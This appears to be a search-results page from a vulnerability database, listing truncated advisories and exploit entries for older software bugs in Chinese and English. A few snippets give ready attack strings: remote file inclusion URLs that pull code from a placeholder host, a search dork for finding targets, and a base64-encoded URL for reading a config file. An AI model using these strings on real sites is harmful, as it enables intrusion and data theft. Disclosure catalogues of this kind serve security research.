56796 matches found
PHP 5 'posix_access()'功安全模式绕过目录遍历漏洞
CVE-2008-2665 PHP is prone to a directory-traversal vulnerability because it fails to adequately sanitize user-supplied data. Attackers can leverage this issue to bypass security restrictions enforced by 'safemode' to access data outside of the root webserver directory. Successful attacks may all...
Adobe Reader util.printf() JavaScript Function Stack Overflow Exploit #2
No description provided by source. Adobe Reader Javascript Printf Buffer Overflow Exploit =========================================================== Reference: http://www.coresecurity.com/content/adobe-reader-buffer-overflow CVE-2008-2992 Thanks to coresecurity for the technical background...
University of Washington IMAP 'tmail'和'dmail'本地缓冲区溢出漏洞
BUGTRAQ ID: 32072 CNCAN ID：CNCAN-2008110404 University of Washington IMAP是一款IMAP协议实现。 University of Washington IMAP包含的'tmail'和'dmail'存在缓冲区溢出，本地攻击者可以利用漏洞以应用程序权限执行任意指令。 'tmail'和'dmail'应用程序在从命令行中处理文件夹扩展参数时缺少正确的边界检查，通过提交超长文件夹名可触发基于栈的缓冲区溢出。tmail可允许以root用户权限执行任意指令。 有问题代码如下： tmail.cchar getusername char...
PozScripts Classified Auctions (gotourl.php id) SQL Injection Vuln
No description provided by source. | | | Classified Auctions gotourl.php id Remote SQL Injection Vulnerability | | |---------------- Hussin X ------------------ | | Author: Hussin X | | Home : WwW.IQ-ty.CoM | | email: darkangelg85atYahooDoTcom | | | | script : http://www.pozscripts.com/index.php ...
Joomla Component ownbiblio 1.5.3 (catid) SQL Injection Vulnerability
No description provided by source. Joomla Component Ownbiblio SQL Injection Vulnerability Vulnerability found by: H!tm@N Contact: hitmanatkhg-crewdotws Site: www.khg-crew.ws Greetz: boom3rang, KHG, urtan, warning, chs, redc00de - -=Kosova Hackers Group=- ScriptName: "Joomla" Component: "Ownbiblio...
ASP-Nuke <= 0.80 article.asp articleid变量远程SQL注入漏洞
BugCVE: CVE-2005-2067 BUGTRAQ: 13318 ASP-Nuke处理用户请求时存在输入验证漏洞，远程攻击者可以利用此漏洞非授权访问数据库。 ASP-Nuke的article.asp脚本没有正确过滤articleid参数数据，远程攻击可以在输入中插入特定的SQL语句，从而非授权操作数据库，导致敏感信息泄露或ASP-Nuke被完全控制。 ASP-Nuke = 0.80 厂商补丁： ASP-Nuke -------- 目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：...
CS-Cart 'core/user.php' SQL注入漏洞
BUGTRAQ ID: 30979 CNCAN ID：CNCAN-2008090301 CS-Cart是一款基于PHP的WEB应用程序。 CS-Cart不正确处理用户提交的输入，远程攻击者可以利用漏洞进行SQL注入攻击，可能获得敏感信息或操作数据库。 问题由于'core/user.php'脚本对用户提交给WEB参数缺少过滤，构建恶意SQL查询作为参数数据，可更改原来的SQL逻辑，获得敏感信息或操作数据库。 CS-Cart 1.3.5 可联系供应商获得补丁信息： http://www.cs-cart.com/...
Sun Solaris系统管理代理SNMP守护程序缓冲区溢出漏洞
BUGTRAQ ID: CVE ID：CVE-2008-2292 CNCVE ID：CNCVE-20082292 Sun Solaris是一款商业性质的Unix操作系统。 Sun Solaris系统管理代理SMASNMP守护程序存在缓冲区溢出，远程攻击者可以利用漏洞对服务程序进行拒绝服务攻击，或以应用程序权限执行任意指令。 目前没有详细漏洞细节提供。 Sun Solaris 10 可参考如下安全公告获得补丁信息： http://sunsolve.sun.com/search/document.do?assetkey=1-66-239785-1...
Linux Kernel TTY操作NULL指针引用拒绝服务漏洞
BUGTRAQ ID: 30076 CVE ID：CVE-2008-2812 CNCVE ID：CNCVE-20082812 Linux是一款开放源代码的操作系统。 Linux TTY操作在主线上的重写存在NULL指针引用问题，本地攻击者可以利用漏洞使系统崩溃。 目前没有详细漏洞细节提供。 Linux kernel 2.6.25 .5 Linux kernel 2.6.25 Linux kernel 2.6.24 .2 Linux kernel 2.6.24 .1 Linux kernel 2.6.24 -rc5 Linux kernel 2.6.24 -rc4 Linux kernel...
Linux Kernel utrace和ptrace本地拒绝服务漏
BUGTRAQ ID: 29945 CVE ID：CVE-2008-2365 CNCVE ID：CNCVE-20082365 Linux是一款开放源代码的操作系统。 Linux utrace/ptrace挂接和卸载存在竞争条件问题，本地攻击者可以利用漏洞对系统进行拒绝服务攻击。 ptracemayattach包含如下代码： static int ptraceattachstruct taskstruct task ... engine = utraceattachtask, UTRACEATTACHCREATE | UTRACEATTACHEXCLUSIVE |...
ClamAV petite.c无效内存访问绝服务漏洞
BUGTRAQ ID: 29750 CVECAN ID: CVE-2008-2713 Clam AntiVirus是Unix的GPL杀毒工具包，很多邮件网关产品都在使用。 ClamAV的libclamav/petite.c文件中存在拒绝服务漏洞，如果用户受骗打开了特制的Petite加壳可执行程序的话，就会在以下代码段的memcpy中触发越界读取，导致拒绝服务的情况： cliwriteint32curpe+0x24, 0xffffffff; memcpypefile+rawbase, buffer+sectionsi.raw, sectionsi.rsz;...
BigAnt IM服务器HTTP GET请求远程栈溢出漏洞
BUGTRAQ ID: 28795 BigAnt Messenger是一款可扩展的企业即时通讯平台。 BigAnt Messenger的AntServer模块（AntServer.exe）中存在栈溢出漏洞，如果向该服务的默认6080/TCP端口发送了超长HTTP GET请求的话，就可以触发这个溢出，导致执行任意指令。 华途软件 BigAnt Messenger 2.2 华途软件 -------- 目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本： http://www.bigant.cn/...
CUPS多个远程拒绝服务漏洞
BUGTRAQ ID: 27988 CVECAN ID: CVE-2008-0596,CVE-2008-0597 Common Unix Printing System CUPS是一款通用Unix打印系统，是Unix环境下的跨平台打印解决方案，基于Internet打印协议，提供大多数PostScript和raster打印机服务。 CUPS处理通过IPP添加和删除远程共享打印机的方式存在漏洞，远程攻击者可以发送恶意UDP IPP报文导致CUPS守护程序试图引用已经释放的内存，出现崩溃。...
Adobe Acrobat和Reader多个安全漏洞
BUGTRAQ ID: 27641 CVECAN ID: CVE-2007-5659,CVE-2007-5663,CVE-2007-5666,CVE-2008-0655,CVE-2008-0667,CVE-2008-0726 Adobe Acrobat和Reader都是流行的PDF文件阅读器。 Adobe Reader/Acrobat中的多个安全漏洞可能允许攻击者导致拒绝服务或完全入侵用户系统。 1 一些JavaScript方式中的多个栈溢出漏洞允许用户通过特制的.PDF文件导致执行任意指令。目前这个漏洞正在被积极的利用。 2...
boastMachine <= 3.1 (mail.php id) SQL Injection Vulnerability
No description provided by source. ...:::::boastMachine =3.1 SQL Injection Vulnerbility ::::.... Virangar Security Team www.virangar.org www.virangar.net -------- Discoverd By :virangar security teamhadihadi special tnx to:MR.nosrati,black.shadowes,MR.hesy,Zahra & all virangar members & all hacke...
Wordpress Multiple Versions Pwnpress Exploitation Tookit
No description provided by source. !/usr/bin/env ruby .---. .---. : : o : happy antiblogging, dear kids! ..-: 0 : :-.. / .-'' ' ---' ---' " -. Copyright c Lance M. Havok .' " ' " . " . ' " . lmh at info-pull.com : '.---.,,.,...,.,.,.,..---. ' ; . " . .' " .' ----- All rights reserved.  ...
Lotus Domino IMAP4 Server 6.5.4 Remote Buffer Overflow Exploit
No description provided by source. Lotus Domino IMAP4 Server Release 6.5.4 / Windows 2000 Advanced Server x86 Remote Exploit Vulnerable: IBM Lotus Domino = 7.0.2 && 6.5.5 FP2 tested 6.5.4 Authors: Dominic Chell [email protected] & prdelka Exploitation steps:...
Kaspersky Anti-Spam未授权目录访问验证绕过漏洞
Kaspersky Anti-Spam是一款反垃圾邮件应用程序。 Kaspersky Anti-Spam的WEB配置接口存在设计问题，远程攻击者可以利用漏洞未授权访问部分目录文件信息。 目前没有详细漏洞细节提供。 Kaspersky Anti-Spam 3.0 MP1 可采用如下补丁： Kaspersky Anti-Spam 3.0 MP1 Cuyahoga kas-3-3.0.274-0.i386.rpm http://dnl-us4.kaspersky-labs.com/products/release/english/antispam/rp...
XOOPS Module XFsection (modify.php) Remote File Inclusion Vulnerability
No description provided by source. XOOPS Module XFsection Remote File Inclusion version: 1.07 source : http://prdownloads.sourceforge.net/xoops/xoops2-modxfsection-107.zip Discovered by SpLo1T from hTTp://hacking.3Xforum.Ro Bug :...
Mac OS X <= 10.4.8 pppd Plugin Loading Privilege Escalation Exploit
No description provided by source. Mac OS X = 10.4.8 pppd Plugin Loading Privilege Escalation Exploit http://www.milw0rm.com/sploits/05252007-osxpppd.tar sebug.net...
PhpWind 防盗链插件Showpic.php本地读文件漏洞
showpic.php str=$SERVER'QUERYSTRING'; $img=base64decode$str; $codelen=strlen$safeguard;//获取附加码长度 $img=substr$img,$codelen; //去掉附加码 readfile$img; 提交的参数经过base64编码后直接用readfile读文件,所以可以把路径base64编码后提交,以读出文件内容 PhpWind http://www.PhpWind.net http://bbs.xxx.com/showpic.php?ZGF0YS9zcWxfY29uZmlnLnBocA==...
Linux Kernel RTA_MAX越界访问漏洞
Linux Kernel是开放源码操作系统Linux所使用的内核。 Linux Kernel代码实现上存在漏洞，本地攻击可能利用此漏洞对系统造成拒绝服务。 Linux内核代码中存在一个错误，将RTAMAX而不是RTNMAX错误地用做了数组的大小，导致dnfibprops（dnfib.c，DECNet）和fibprops（fibsemantics.c，IPv4）函数中可能出现越界访问的情况，造成内核崩溃。 Linux kernel 2.6.21-rc6 目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：...
OpenSurveyPilot Group.Inc.PHP远程文件包含漏洞
OpenSurveyPilot是一款基于PHP的WEB应用程序。 OpenSurveyPilot不正确过滤用户提交的输入，远程攻击者可以利用漏洞以WEB权限执行任意命令。 问题是'Group.Inc.PHP'脚本对用户提交的'cfgPathToProjectAdmin'参数缺少过滤，指定远程服务器上的文件作为包含参数，可导致以WEB权限执行任意命令。 OpenSurveyPilot 1.2.1 目前没有解决方案提供： http://sourceforge.net/projects/osp/...
Texinfo File Handling Buffer Overflow Vulnerability
Texinfo is prone to a buffer-overflow vulnerability because the application fails to properly bounds-check user-supplied input before copying it to an insufficiently sized memory buffer. Exploiting this issue allows attackers to cause the affected applications using Texinfo to crash, denying...
PhpNews远程文件包含漏洞
PhpNews是一款基于PHP的新闻管理程序。 PhpNews不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞以WEB进程权限执行任意命令。 问题是由于多个脚本对用户提交的'Include'参数缺少过滤，提交恶意的远程服务器作为包含对象，可导致以WEB进程权限执行任意PHP代码。 PHPNews PHPNews 1.0 目前没有解决方案提供,请关注以下链接： http://newsphp.sourceforge.net/index.php http://www.example.com/Path/Include/lib.inc.php3?Include=http://cmd.gif?...
Cisco PIX SIP实现未授权UDP端口转发漏洞
Cisco PIX是一款流行的硬件防火墙设备。 Cisco PIX 500系列安全设备处理SIP消息时存在问题，远程攻击者可以利用漏洞转发UDP包到任意设备，造成绕过防火墙设置获得敏感信息。 当接收到特殊的SIP消息时，PIX会打开UDP连接到内部网络的任意设备，此连接允许攻击者发送任意UDP通信到内部设备，导致绕过防火墙规则进行通信。 Cisco PIX Firewall 535 Cisco PIX Firewall 525 6.3 Cisco PIX Firewall 525 Cisco PIX Firewall 520 Cisco PIX Firewall 515E Cisco P...
NetBSD多个本地信息泄露漏洞
NetBSD是一款开放源代码的操作系统。 NetBSD在返回内核内存到用户空间时缺少过滤，本地攻击者可以利用漏洞获得内核敏感信息。 目前没有详细漏洞细节提供。 NetBSD NetBSD 3.0.1 NetBSD NetBSD 3.0 NetBSD NetBSD 2.1 NetBSD NetBSD 2.0.3 NetBSD NetBSD 2.0.2 NetBSD NetBSD 2.0.1 NetBSD NetBSD 2.0 NetBSD NetBSD Current NetBSD NetBSD 3,1RC1 NetBSD NetBSD 2.1.1 NetBSD NetBSD 2.0.4...
Linux Kernel 2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit
No description provided by source. // / Local r00t Exploit for: / / Linux Kernel PRCTL Core Dump Handling / / BID 18874 / CVE-2006-2451 / / Kernel 2.6.x = 2.6.13 && 2.6.17.4 / / By: / / - dreyer [email protected] main PoC code / / - RoMaNSoFt [email protected] local root code / / 10.Jul.2006 / //...
phpBazar <= 2.1.0 Remote (Include/Auth Bypass) Vulnerabilities
No description provided by source. Title: phpBazar = 2.1.0 Multiple vulnerabilites URL: http://www.smartisoft.com/ Dork: inurl:classified.php phpbazar Exploits: -remote file inclusion: /classifiedright.php?languagedir=http://yourhost/cmd.gif?cmd=ls -access to admin login and password:...
MS Windows IIS 5.0 - 5.1 Remote Denial of Service Exploit
漏洞描述： Microsoft IIS 5.0Internet Infomation Server 5是Microsoft Windows 2000自带的一个网络信息服务器，其中包含HTTP服务功能。IIS5 默认提供了对WebDAV的支持，通过WebDAV可以通过HTTP向用户提供远程文件存储的服务。 WebDAV实现对部分模式的超长请求处理不正确，远程攻击者可以利用这个漏洞对IIS服务进行拒绝服务攻击。 攻击者可以使用'PROPFIND'或'SEARCH'请求方法，提交包含49，153字节的Webdav请求，IIS会由于拒绝服务而重新启动。不过IIS...
KYOCERA Net Admin 3.4 CSRF Add Admin Exploit
Summary KYOCERA Net Admin is Kyocera's unified device management software that uses a web-based platform to give network administrators easy and uncomplicated control to handle a fleet for up to 10,000 devices. Tasks that used to require multiple programs or walking to each printer can now be...
Chromium: Incorrect size calculation when deserializing Mojo "Event" messages leading to OOB access
VULNERABILITY DETAILS Mojo IPC allows endpoints to communicate with one another, potentially across process boundaries. Each endpoint initially receives a handle to the broker host node, using which it can request subsequent "child" channels to be created...
OpenNMS Java Object Deserialization RCE
! /usr/bin/env python3 Credits: http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/opennms nessus/plugins/opennmsjavaserialize.nasl cobbled together by pancho import socket import sys def buildcmd:...
InfraPower PPS-02-S Q213V1 Cross-Site Request Forgery
Summary InfraPower Manager PPS-02-S is a FREE built-in GUI of each IP dongle IPD-02-S only to remotely monitor the connected PDUs. Patented IP Dongle provides IP remote access to the PDUs by a true network IP address chain. Only 1xIP dongle allows access to max. 16 PDUs in daisy chain - which is ...
InfraPower PPS-02-S Q213V1 Unauthenticated Remote Root Command Execution
Summary InfraPower Manager PPS-02-S is a FREE built-in GUI of each IP dongle IPD-02-S only to remotely monitor the connected PDUs. Patented IP Dongle provides IP remote access to the PDUs by a true network IP address chain. Only 1xIP dongle allows access to max. 16 PDUs in daisy chain - which is ...
Telesquare SKT LTE Router SDT-CS3B1 WebDAV HTTP Methods Arbitrary File Events
Summary We introduce SDT-CS3B1 LTE router which is a SKT 3G and 4G LTE wireless communication based LTE router product. Description WebDAV is enabled with directory listing and dangerous HTTP methods allowed: PROPFIND, DELETE, MKCOL, PUT, MOVE, COPY, PROPPATCH, LOCK and UNLOCK. The HTTP PUT metho...
Telesquare SKT LTE Router SDT-CS3B1 Remote Reboot Denial Of Service
Summary We introduce SDT-CS3B1 LTE router which is a SKT 3G and 4G LTE wireless communication based LTE router product. Description The router suffers from an unauthenticated reboot command execution. Attackers can exploit this issue to cause a denial of service scenario. /lte/lteuicc.shtml: 858:...
Dell SonicWALL Secure Mobile Access SMA 8.1 XSS And WAF CSRF
Summary Keep up with the demands of today’s remote workforce. Enable secure mobile access to critical apps and data without compromising security. Choose from a variety of scalable secure mobile access SMA appliances and intuitive Mobile Connect apps to fit every size business and budget...
Mac OS X 10.12 isolation mechanism bypass vulnerability
Vulnerability summary Mac OS X a vulnerability exists that could allow an attacker to bypass the Apple of the isolation mechanism, without any restrictions to execute arbitrary JavaScript code. Vulnerability submitter From WeAreSegment security researcher Filippo Cavallarin to Beyond Security SSD...
Foscam IP Video Camera CGIProxy.fcgi Change Username pureftpd.passwd Injection Vulnerability(CVE-2017-2850)
Summary An exploitable injection vulnerability exists in the web management interface used by the Foscam C1 Indoor HD Camera running application firmware 2.52.2.37. A specially crafted HTTP request can allow for a user to inject arbitrary characters in the pureftpd.passwd file during a username...
Ledger CLI Account Directive Use-After-Free Vulnerability(CVE-2017-2808)
Summary An exploitable use-after-free vulnerability exists in the account parsing component of the Ledger-CLI 3.1.1. A specially crafted ledger file can cause a use-after-free vulnerability resulting in arbitrary code execution. An attacker can convince a user to load a journal file to trigger th...
WebKit: use-after-free in WebCore::RenderObject with accessibility enabled(CVE-2017-7046)
There is a use-after-free security vulnerability in WebKit. The vulnerability was confirmed on ASan build of WebKit nightly. Note that accessibility features need to be enabled in order to trigger this bug. On Safari on Mac this can be accomplished by opening the inspector simply opening the...
VirtualBox: unprivileged host user -> host kernel privesc via ALSA config（ CVE-2017-3576）
This is another way to escalate from an unprivileged userspace process into the VirtualBox process, which has an open file descriptor to the privileged device /dev/vboxdrv and can use that to compromise the host kernel. The issue is that, for VMs with ALSA audio, the privileged VM host process...
Windows Kernel stack memory disclosure in win32kfull!SfnINLPUAHDRAWMENUITEM (CVE-2017-0167)
We have discovered that it is possible to disclose portions of uninitialized kernel stack memory to user-mode applications in Windows 10 indirectly through the win32k! NtUserPaintMenuBar system call, or more specifically, through the user32! fnINLPUAHDRAWMENUITEM user-mode callback 107 on Windows...
2017 Visual Studio Code Workspace settings code execution
The following issue constitutes an arbitrary code execution vulnerability in Visual Studio Code herein referred to as "Code". Users should upgrade to Code 1.9.0 or later. says: Visual Studio Code is a source code editor developed by Microsoft for Windows, Linux and macOS. It includes support for...
Android Arbitrary class loading and instantiation in protobuf parcelable "javanano" compiler
The protobuf library includes the "javanano" compiler, commonly used in many Android applications due to its tiny resource footprint. The "javanano" compiler supports a variety of Android-specific compilation flags which can be used to modify the generated message classes. One such compilation fl...
dedecms v5.7缓存文件data/cache/typename.inc导致任意代码执行（有条件）
No description provided by source...
CMSTOP媒体云 /gallery/index/list 任意文件上传
No description provided by source...
SAP HANA hdbindexserver - Memory corruption
No description provided by source...
shop7z 商城系统在/Advsearchadmin.asp 处参数kindnum存在SQL注入漏洞
0x01漏洞简介 shop7z商城系统在Advsearchadmin.asp 处的参数kindnum由于过滤不严，存在kindnumSQL注入漏洞。远程攻击者可以利用该漏洞执行任意SQL指令。 0x02漏洞分析 Advsearchadmin.asp代码如下： kindnum=trimrequest"kindnum" pipai=trimrequest"pipai" model=trimrequest"model" productname=trimrequest"productname" price11=trimrequest"price11"...